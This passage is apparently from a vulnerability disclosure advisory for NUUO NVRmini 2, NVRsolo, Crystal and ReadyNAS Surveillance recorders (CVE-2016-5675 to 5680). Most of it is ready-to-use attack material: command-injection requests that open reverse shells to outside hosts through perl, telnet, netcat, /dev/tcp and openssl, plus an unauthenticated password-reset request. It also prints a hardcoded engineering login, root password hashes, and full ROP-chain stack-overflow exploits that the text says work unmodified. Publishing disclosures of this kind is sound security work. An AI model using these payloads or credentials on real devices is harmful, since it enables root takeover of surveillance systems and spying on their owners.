The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.
- NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.
2
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
$find_str = "time server";
$sys_msg = system($cmd);
$pos = strpos($sys_msg, $find_str);
The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user).
-
NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root.
-
Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root.
3
Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.
Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig
This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.
4
Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web interface contains a hidden page (__nvr_status.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /_nvr_status_.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit
5
Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0
The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.
NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
6
Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";;#
Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23
NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
7
Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.
Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command);
For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault.
0 0x61616160 in ?? ()
(gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb)
The request can be sent by an HTTP GET or POST method.
A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992
On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002
Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y
An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).
Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.
0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}
Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26
Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.
Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).
The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}
